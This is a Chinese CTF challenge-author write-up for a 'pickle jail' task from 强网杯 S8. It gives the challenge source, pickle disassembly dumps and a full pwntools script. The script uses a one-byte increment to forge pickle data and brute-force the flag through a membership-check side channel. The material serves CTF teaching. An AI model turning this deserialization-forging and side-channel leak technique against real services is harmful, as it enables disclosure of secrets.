前言
今年很荣幸在 强网杯 S8 这项大赛中出了一道 Misc 的 Jail 类型题目,在此感谢空白师傅的邀请~
关于 Jail 类型的题目,这两年国内也是越来越多,去年的强网杯三道 PyJail 都是空白师傅出的高水平的题目,今年我个人不是很想出 RCE 的题型,因为可能出现很多的非预期解法(思路肯定越多越好,但是作为出题者的角度,肯定是希望解题步骤符合预期),于是出了这么一道pickle 反序列化
配合side channel 侧信道
的题目。
题目的灵感来源 jailctf-2024-lost-in-transit ,当时解完这题发现flag
最后一个字符}
刚好可以被pickle
当做空字典解析,所以就想着能不能利用这个特性来出题,于是就有了这道题。
赛后在 Misc 群中也看到了挺多对这题的好评,也是非常开心收到这些评价。当然题目肯定是有进步的空间的!
废话少说,直接进入赛题解析!
题目信息
题目就给了一个 pickle_jail.py 的文件,非常的通俗易懂
#!/usr/local/bin/python
from io import BytesIO
from os import _exit
from pathlib import Path
from pickle import Pickler, Unpickler
from sys import stderr, stdin, stdout
from time import time
from faker import Faker
Faker.seed(time())
fake = Faker("en_US")
flag = Path("flag").read_text()
def print(_):
stdout.buffer.write(f"{_}\n".encode())
stdout.buffer.flush()
def input(_=None, limit: int = -1):
if _:
print(_)
_ = stdin.buffer.readline(limit)
stdin.buffer.flush()
return _
def bye(_):
print(_)
_exit(0)
players = [fake.unique.first_name().encode() for _ in range(50)]
print("Welcome to this jail game!")
print(f"Play this game to get the flag with these players: {players}!")
name = input("So... What's your name?", 300).strip()
assert name not in players, "You are already joined!"
print(f"Welcome {name}!")
players.append(name)
biox = BytesIO()
Pickler(biox).dump(
(
name,
players,
flag,
)
)
data = bytearray(biox.getvalue())
num = input("Enter a random number to win: ", 1)[0]
assert num < len(data), "You are not allowed to win!"
data[num] += 1
data[num] %= 0xFF
del name, players, flag
biox.close()
stderr.close()
try:
safe_dic = {
"__builtins__": None,
"n": BytesIO(data),
"F": type("f", (Unpickler,), {"find_class": lambda *_: "H4cker"}),
}
name, players, _ = eval("F(n).load()", safe_dic, {})
if name in players:
del _
print(f"{name} joined this game, but here is no flag!")
except Exception:
print("What happened? IDK...")
finally:
bye("Break this jail to get the flag!")
由于当时给平台的附件没有附带 Dockerfile,所以 Python 的版本信息和这个 Faker 库的信息在题面给出来了
FROM python@sha256:c38ead8bcf521573dad837d7ecfdebbc87792202e89953ba8b2b83a9c5a520b6
RUN pip install -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple Faker
Python 3.10 的 alpine 镜像 + Faker 随机生成数据的一个库,并且为了减少爆破次数 flag 的格式也告诉了是 flag{UUID4}
解题思路
通过简单分析 pickle_jail.py 的源码,可以发现输入输出是使用 stdin.buffer
和 stdout.buffer
完成的,这个 buffer
输入和输出都是用bytes
类型的数据,题目的流程如下:
- 随机生成 50 个虚拟英文名称,并装入
players
数组中 - 让用户输入不超过 300 长度的
name
,⚠️注意:类型是bytes
- 将
name
存入players
中 - 将
(name, players, flag)
这个三元组pickle
序列化 - 有一次机会让数组序列化后的
bytearray
的指定下标的数值+1
Unpickler
反序列化之前的三元组,但是重写了Unpickler.find_class
- 判断
if name in players
这题的预期解是侧信道,解法有两种,先给其中一种 exp 再做分析。
exp
from string import ascii_lowercase, digits
from pwn import context, p32, process, remote
DEBUG = False
context.log_level = "debug" if DEBUG else "error"
HOST, PORT = "127.0.0.1", 5000
flag = "flag{"
str_set = "-" + ascii_lowercase + digits
while len(flag) != 41:
print("flag:", flag)
for i in str_set:
print("try", i)
io = (
process("python3 ./pickle_jail.py", shell=True)
if DEBUG
else remote(HOST, PORT)
)
io.recvuntil(b"Play this game to get the flag with these players: ")
players = io.recvline(keepends=False).strip().strip(b"!")
players = eval(players.decode())
tmp_flag = flag + i
tmp_flag_len = len(tmp_flag)
if tmp_flag_len == 10: # 不可为 10 即 \n, 否则会被 input 截断
tmp_flag = flag[1:] + i
tmp_flag_len = len(tmp_flag)
payload = b"C"
payload += bytes([tmp_flag_len])
payload += tmp_flag.encode()
pad = 3 * len(players) + sum(map(len, players)) + 302 - tmp_flag_len
payload += b"B" + p32(pad)
payload = payload.ljust(0x103, b"\xff")
io.sendlineafter(b"What's your name?", payload)
io.sendafter(b"win: ", bytes([11]))
data = io.recvuntil(b"flag!")
if b"joined" in data and tmp_flag.encode() in data:
flag += i
io.close()
break
io.close()
print(f"Flag is : {flag+'}'}")
pickle data
第一步,先让我们看看序列化后的数据,测试用的 flag 均为 flag{f0192fd3-f87f-4693-a28d-a6e24766c143}
# 交互如下:
# >>> So... What's your name?
# >>> woodwhale
# >>> Welcome b'woodwhale'!
# pickle 后的 bytearray 数据在 data
from pickletools import dis
data = bytearray(b'\x80\x04\x95\x14\x02\x00\x00\x00\x00\x00\x00C\twoodwhale\x94]\x94(C\x07Heather\x94C\x06Sharon\x94C\x06Hannah\x94C\x05Kelli\x94C\x06Teresa\x94C\x06Thomas\x94C\x08Veronica\x94C\x05Susan\x94C\x06Eileen\x94C\x07Kristin\x94C\x0bChristopher\x94C\x08Kristina\x94C\x08Michelle\x94C\x05Bryan\x94C\x05Jerry\x94C\x07Michael\x94C\x06Shelby\x94C\x07Tiffany\x94C\x05Erika\x94C\x06Robert\x94C\x08Courtney\x94C\x06Angela\x94C\x04Erin\x94C\x06Nicole\x94C\x07Jeffrey\x94C\x07Colleen\x94C\x07William\x94C\x06Deanna\x94C\x05James\x94C\x06Stacey\x94C\x05Terri\x94C\x05Sarah\x94C\x06Alicia\x94C\x05Maria\x94C\x06Rickey\x94C\x07Natalie\x94C\x07Richard\x94C\x07Garrett\x94C\x06Amanda\x94C\x05Jason\x94C\x05Tammy\x94C\x04Dana\x94C\x05Jamie\x94C\x04John\x94C\x06Brandi\x94C\tAlejandro\x94C\x08Danielle\x94C\tAlexandra\x94C\x08Brittany\x94C\x07Melissa\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143}\x94\x87\x94.')
dis(data)
'''
0: \x80 PROTO 4
2: \x95 FRAME 532
11: C SHORT_BINBYTES b'woodwhale'
22: \x94 MEMOIZE (as 0)
23: ] EMPTY_LIST
24: \x94 MEMOIZE (as 1)
25: ( MARK
26: C SHORT_BINBYTES b'Heather'
35: \x94 MEMOIZE (as 2)
36: C SHORT_BINBYTES b'Sharon'
44: \x94 MEMOIZE (as 3)
45: C SHORT_BINBYTES b'Hannah'
53: \x94 MEMOIZE (as 4)
54: C SHORT_BINBYTES b'Kelli'
61: \x94 MEMOIZE (as 5)
62: C SHORT_BINBYTES b'Teresa'
70: \x94 MEMOIZE (as 6)
71: C SHORT_BINBYTES b'Thomas'
79: \x94 MEMOIZE (as 7)
80: C SHORT_BINBYTES b'Veronica'
90: \x94 MEMOIZE (as 8)
91: C SHORT_BINBYTES b'Susan'
98: \x94 MEMOIZE (as 9)
99: C SHORT_BINBYTES b'Eileen'
107: \x94 MEMOIZE (as 10)
108: C SHORT_BINBYTES b'Kristin'
117: \x94 MEMOIZE (as 11)
118: C SHORT_BINBYTES b'Christopher'
131: \x94 MEMOIZE (as 12)
132: C SHORT_BINBYTES b'Kristina'
142: \x94 MEMOIZE (as 13)
143: C SHORT_BINBYTES b'Michelle'
153: \x94 MEMOIZE (as 14)
154: C SHORT_BINBYTES b'Bryan'
161: \x94 MEMOIZE (as 15)
162: C SHORT_BINBYTES b'Jerry'
169: \x94 MEMOIZE (as 16)
170: C SHORT_BINBYTES b'Michael'
179: \x94 MEMOIZE (as 17)
180: C SHORT_BINBYTES b'Shelby'
188: \x94 MEMOIZE (as 18)
189: C SHORT_BINBYTES b'Tiffany'
198: \x94 MEMOIZE (as 19)
199: C SHORT_BINBYTES b'Erika'
206: \x94 MEMOIZE (as 20)
207: C SHORT_BINBYTES b'Robert'
215: \x94 MEMOIZE (as 21)
216: C SHORT_BINBYTES b'Courtney'
226: \x94 MEMOIZE (as 22)
227: C SHORT_BINBYTES b'Angela'
235: \x94 MEMOIZE (as 23)
236: C SHORT_BINBYTES b'Erin'
242: \x94 MEMOIZE (as 24)
243: C SHORT_BINBYTES b'Nicole'
251: \x94 MEMOIZE (as 25)
252: C SHORT_BINBYTES b'Jeffrey'
261: \x94 MEMOIZE (as 26)
262: C SHORT_BINBYTES b'Colleen'
271: \x94 MEMOIZE (as 27)
272: C SHORT_BINBYTES b'William'
281: \x94 MEMOIZE (as 28)
282: C SHORT_BINBYTES b'Deanna'
290: \x94 MEMOIZE (as 29)
291: C SHORT_BINBYTES b'James'
298: \x94 MEMOIZE (as 30)
299: C SHORT_BINBYTES b'Stacey'
307: \x94 MEMOIZE (as 31)
308: C SHORT_BINBYTES b'Terri'
315: \x94 MEMOIZE (as 32)
316: C SHORT_BINBYTES b'Sarah'
323: \x94 MEMOIZE (as 33)
324: C SHORT_BINBYTES b'Alicia'
332: \x94 MEMOIZE (as 34)
333: C SHORT_BINBYTES b'Maria'
340: \x94 MEMOIZE (as 35)
341: C SHORT_BINBYTES b'Rickey'
349: \x94 MEMOIZE (as 36)
350: C SHORT_BINBYTES b'Natalie'
359: \x94 MEMOIZE (as 37)
360: C SHORT_BINBYTES b'Richard'
369: \x94 MEMOIZE (as 38)
370: C SHORT_BINBYTES b'Garrett'
379: \x94 MEMOIZE (as 39)
380: C SHORT_BINBYTES b'Amanda'
388: \x94 MEMOIZE (as 40)
389: C SHORT_BINBYTES b'Jason'
396: \x94 MEMOIZE (as 41)
397: C SHORT_BINBYTES b'Tammy'
404: \x94 MEMOIZE (as 42)
405: C SHORT_BINBYTES b'Dana'
411: \x94 MEMOIZE (as 43)
412: C SHORT_BINBYTES b'Jamie'
419: \x94 MEMOIZE (as 44)
420: C SHORT_BINBYTES b'John'
426: \x94 MEMOIZE (as 45)
427: C SHORT_BINBYTES b'Brandi'
435: \x94 MEMOIZE (as 46)
436: C SHORT_BINBYTES b'Alejandro'
447: \x94 MEMOIZE (as 47)
448: C SHORT_BINBYTES b'Danielle'
458: \x94 MEMOIZE (as 48)
459: C SHORT_BINBYTES b'Alexandra'
470: \x94 MEMOIZE (as 49)
471: C SHORT_BINBYTES b'Brittany'
481: \x94 MEMOIZE (as 50)
482: C SHORT_BINBYTES b'Melissa'
491: \x94 MEMOIZE (as 51)
492: h BINGET 0
494: e APPENDS (MARK at 25)
495: \x8c SHORT_BINUNICODE 'flag{f0192fd3-f87f-4693-a28d-a6e24766c143}'
539: \x94 MEMOIZE (as 52)
540: \x87 TUPLE3
541: \x94 MEMOIZE (as 53)
542: . STOP
highest protocol among opcodes = 4
'''
我们可以在上面的 bytearray
的任意 index 进行 +1 的操作,除去随机生成的 players
还有固定的 42 长度的 flag
,用户可控的只有 name
这个自定义输入的数据,那么就focus on it
关键点就是
0: \x80 PROTO 4
11: C SHORT_BINBYTES b'woodwhale'
proto 是 4 的版本,其次这个SHORT_BINBYTES,查看 pickle 的源代码,在Protocol 3
的部分可以看到 C
的定义,小于 256 字节的 bytes
都是用 C
进行序列化的
# Protocol 3 (Python 3.x)
BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes
那如果大于256
长度呢?测试一下
from pickletools import dis
data = bytearray(b'\x80\x04\x95\xe5\x02\x00\x00\x00\x00\x00\x00B\x00\x01\x00\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x94]\x94(C\x06Steven\x94C\x05James\x94C\x05Maria\x94C\x05Peter\x94C\x06Daniel\x94C\x06Robert\x94C\x06Thomas\x94C\x04Jose\x94C\x04John\x94C\x04Sean\x94C\x05Derek\x94C\x06Angela\x94C\x05Dylan\x94C\x06Dennis\x94C\x04Troy\x94C\x07Breanna\x94C\x08Mitchell\x94C\x05Janet\x94C\x08Benjamin\x94C\x05Keith\x94C\x07Jillian\x94C\x06Joseph\x94C\x05David\x94C\x05Jaime\x94C\x08Michelle\x94C\x05Linda\x94C\x07Allison\x94C\x06George\x94C\x05Amber\x94C\x04Dawn\x94C\x04Kyle\x94C\x08Courtney\x94C\x05Debra\x94C\x06Stacie\x94C\x04Mark\x94C\x04Erin\x94C\x07Bethany\x94C\x07Timothy\x94C\x04Eric\x94C\x04Paul\x94C\x04Lisa\x94C\x05Kevin\x94C\x04Dean\x94C\x08Patricia\x94C\x07Francis\x94C\x06Monica\x94C\x05Laura\x94C\x05Brian\x94C\x05Susan\x94C\x05Jimmy\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143}\x94\x87\x94.')
dis(data)
'''
省略大部分,只看关键的一行:
11: B BINBYTES b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
'''
实践发现,大于等于 256 长度的 bytes
数据在序列化时使用 B
回顾到题目中,pickle 后的 bytearray 的任意 index 的数据可以 + 1
上述的B
和C
正好就相差一,不难想到如下的思路:
- 我们输入一个长度大于 256 的 name
- 在
index = 11
的这个下标让其+1
,让B + 1 = C
- 那么 pickle load 反序列化的时候就只会将
name
反序列化成一个小于 256 长度的数据,而之后有很长的bytes
数据可以被我们反序列化,也就是可以任意数据反序列化
flag end with }
实现了任意数据反序列化后,再回到题面,由于 Unpickler.find_class
已经被永远返回 H4cker
这个字符串了,所以也没办法用模块导入的方法 RCE
结合题目,在最开始的时候就读取了flag
的内容,并且和name、players
一并pickle.dump
到了一个三元组中
并且最后pickle.load
的时候,又会解包这个三元组
那么在没有 RCE 的情况下,我们有没有可能将这个pickle.dump
后的 bytearray
中的 flag
给 pickle.load
出来呢?
我们再查看flag
的格式——flag{UUID4}
,可以惊奇的发现,flag 的结尾是一个}
回到pickle
的源码的 135 行,可以看到空字典
的 pickle 格式
EMPTY_DICT = b'}' # push empty dict
也就是说,我们可以配合上一步的任意pickle data write
,让 name, players, _ = eval("F(n).load()", safe_dic, {})
解包后的数据自定义
- name一定是一个
C
,也就是小于256的bytes - players可以自定义,因为我们可以覆盖写入
pickle data
- _ 可以是flag,也可以是空字典,选择让其成为空字典,那么flag的数据就会序列化到前一个参数players中
那么最后的思路就是
- name输入自定义bytes
- players携带flag数据
- _ 是一个空字典,不用管
结合 if name in players
这个判断语句,我们可以单字节去爆破flag的内容
例如,name=b"flag{", players = b"一堆无用的players数据" + b"flag数据"
,如果name中输入的flag正确,那么就会执行print(f"{name} joined this game, but here is no flag!")
,从而完成侧信道爆破
padding
上述解法的关键就是,如何编写自定义的pickle data
?
我们可以通过构造特定的 padding,进行pickle data
的构造
通过多次的反序列化摸索,可以得到如下的 payload
flag = "flag{"
tmp_flag = flag
tmp_flag_len = len(tmp_flag)
payload = b"C" # bytes
payload += bytes([tmp_flag_len]) # bytes len
payload += tmp_flag.encode() # bytes content
pad = 3 * len(players) + sum(map(len, players)) + 302 - tmp_flag_len
payload += b"B" + p32(pad) # > 256 bytes padding,配合ljust正好覆盖到 flag 删去 `}` 的最后一个字符
payload = payload.ljust(0x103, b"\xff")
其中的 padding 手搓就可以了,因为是和players
的长度挂钩的,而players
又是随机生成的,所以还是需要计算这个随机变量的
这个payload = payload.ljust(0x103, b"\xff")
中的0x103
还挺关键的,因为这样生成的name
的pickle data
,在没有+1
之前是
b'B\x03\x01\x00\x00' + b'用户输入的长度为0x103的name'
如果在index = 11
的位置➕1,那么就成了
b'C\x03\x01\x00\x00' + b'用户输入的长度为0x103的name'
就会被解析成
b'C' + # load 小于 256 的 bytes
b'\0x3' + # load 长度为 3 的 bytes
b'\x01\x00\x00' + # 长度为 3 的 bytes
b'用户输入的长度为0x103的name' # 自定义 pickle data
就可以任意pickle data load
了
例如,我们输入如下的数据
b'C\x06flag{1B\xea\x02\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'
输入number
为bytes([11])
随后得到的新的三元组的 pickle data
就是
data = bytearray(b'\x80\x04\x95\xff\x02\x00\x00\x00\x00\x00\x00C\x03\x01\x00\x00C\x06flag{-B\xe8\x02\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x94]\x94(C\x06Amanda\x94C\x06Denise\x94C\x06Robert\x94C\x05Paula\x94C\x06Angela\x94C\x0bChristopher\x94C\x04Lisa\x94C\x06Tamara\x94C\x07Barbara\x94C\x07Jasmine\x94C\x06Ashley\x94C\tAlejandra\x94C\x05David\x94C\x04Alex\x94C\x05Keith\x94C\x05Billy\x94C\x06Melvin\x94C\x07William\x94C\x05Tonya\x94C\x08Jennifer\x94C\x06Brandi\x94C\x05James\x94C\x05Donna\x94C\x07Bradley\x94C\x07Theresa\x94C\x05Kayla\x94C\x05Carol\x94C\x07Kristin\x94C\x05Susan\x94C\x08Mitchell\x94C\x06Sandra\x94C\x05Kathy\x94C\x07Jeffrey\x94C\x07Michael\x94C\x05Julia\x94C\x06Nicole\x94C\x06Gloria\x94C\x05Henry\x94C\x04Cory\x94C\x07Phillip\x94C\x06Dakota\x94C\x06Daniel\x94C\x05Shawn\x94C\x08Kimberly\x94C\x07Heather\x94C\x05Jacob\x94C\x04John\x94C\x06Nathan\x94C\x05Jimmy\x94C\x04Eric\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143}\x94\x87\x94.')
我们尝试pickletools.dis
一下,可以看到如下的信息:
0: \x80 PROTO 4
2: \x95 FRAME 767
11: C SHORT_BINBYTES b'\x01\x00\x00'
16: C SHORT_BINBYTES b'flag{-'
24: B BINBYTES b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x94]\x94(C\x06Amanda\x94C\x06Denise\x94C\x06Robert\x94C\x05Paula\x94C\x06Angela\x94C\x0bChristopher\x94C\x04Lisa\x94C\x06Tamara\x94C\x07Barbara\x94C\x07Jasmine\x94C\x06Ashley\x94C\tAlejandra\x94C\x05David\x94C\x04Alex\x94C\x05Keith\x94C\x05Billy\x94C\x06Melvin\x94C\x07William\x94C\x05Tonya\x94C\x08Jennifer\x94C\x06Brandi\x94C\x05James\x94C\x05Donna\x94C\x07Bradley\x94C\x07Theresa\x94C\x05Kayla\x94C\x05Carol\x94C\x07Kristin\x94C\x05Susan\x94C\x08Mitchell\x94C\x06Sandra\x94C\x05Kathy\x94C\x07Jeffrey\x94C\x07Michael\x94C\x05Julia\x94C\x06Nicole\x94C\x06Gloria\x94C\x05Henry\x94C\x04Cory\x94C\x07Phillip\x94C\x06Dakota\x94C\x06Daniel\x94C\x05Shawn\x94C\x08Kimberly\x94C\x07Heather\x94C\x05Jacob\x94C\x04John\x94C\x06Nathan\x94C\x05Jimmy\x94C\x04Eric\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143'
773: } EMPTY_DICT
774: \x94 MEMOIZE (as 0)
775: \x87 TUPLE3
776: \x94 MEMOIZE (as 1)
777: . STOP
highest protocol among opcodes = 4
Traceback (most recent call last):
File "test.py", line 3, in <module>
dis(data)
File "lib/python3.10/pickletools.py", line 2547, in dis
raise ValueError("stack not empty after STOP: %r" % stack)
ValueError: stack not empty after STOP: [bytes]
报错的原因是 stack 不为空,还剩一个 11: C SHORT_BINBYTES b'\x01\x00\x00'
,但是无关紧要,pickle.loads
是不会报错的
于是我们解包后的三元组数据就是:
(b'flag{-', b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x94]\x94(C\x06Amanda\x94C\x06Denise\x94C\x06Robert\x94C\x05Paula\x94C\x06Angela\x94C\x0bChristopher\x94C\x04Lisa\x94C\x06Tamara\x94C\x07Barbara\x94C\x07Jasmine\x94C\x06Ashley\x94C\tAlejandra\x94C\x05David\x94C\x04Alex\x94C\x05Keith\x94C\x05Billy\x94C\x06Melvin\x94C\x07William\x94C\x05Tonya\x94C\x08Jennifer\x94C\x06Brandi\x94C\x05James\x94C\x05Donna\x94C\x07Bradley\x94C\x07Theresa\x94C\x05Kayla\x94C\x05Carol\x94C\x07Kristin\x94C\x05Susan\x94C\x08Mitchell\x94C\x06Sandra\x94C\x05Kathy\x94C\x07Jeffrey\x94C\x07Michael\x94C\x05Julia\x94C\x06Nicole\x94C\x06Gloria\x94C\x05Henry\x94C\x04Cory\x94C\x07Phillip\x94C\x06Dakota\x94C\x06Daniel\x94C\x05Shawn\x94C\x08Kimberly\x94C\x07Heather\x94C\x05Jacob\x94C\x04John\x94C\x06Nathan\x94C\x05Jimmy\x94C\x04Eric\x94h\x00e\x8c*flag{f0192fd3-f87f-4693-a28d-a6e24766c143', {})
这样,通过name in players
就能爆破出 flag 的数据了
这里的第一个坑点就是,输入\x10
会被当做\n
截断,所以需要特殊处理一下
if tmp_flag_len == 10: # 不可为 10 即 \n, 否则会被 input 截断
tmp_flag = flag[1:] + i
tmp_flag_len = len(tmp_flag)
第二个坑点就是players是随机生成的,每次的数据都不一样,得计算padding长度,这里就不细谈了,直接看exp就行
至此,这题就可以被侧信道爆破出来了!
second-approach
上述的解法是使用长度大于 256 的 bytes 数据,通过 \xB + 1 = \xC
的方式来进行之后的任意 pickle data write,但是本题为了减少难度,还有一种预期解法
我们注意到如下代码
data[num] += 1
data[num] %= 0xFF
经常打 pwn 的师傅们肯定会想到 (0xfe + 1) % 0xff = 0
这个漏洞:如果我们输入一个长度为 0xfe 的 name,然后在 index=12
的下标对数据 +1 ,那么这个B
对应的长度\xfe
就成了\x0
,从这之后开始就可以任意写pickle数据了,之后的思路和上述解法是一样的
两个解法的区别其实就是\xB + 1 = \xC
和 (0xfe + 1) % 0xff = 0
的区别(还有 index=11 和 index=12 的区别),其他的思路都是一样的
后话
第一次给这么大的赛事出题,感慨颇多,也希望今后能出更多高质量的赛题🤣
在审核 WP 的时候,还是发现了部分 exp 有 99% 的相似度,所以还是希望各位师傅们能多加注意,不要再去 py 咯!说什么都是 AI 生成的,给不出聊天历史,还在嘴硬!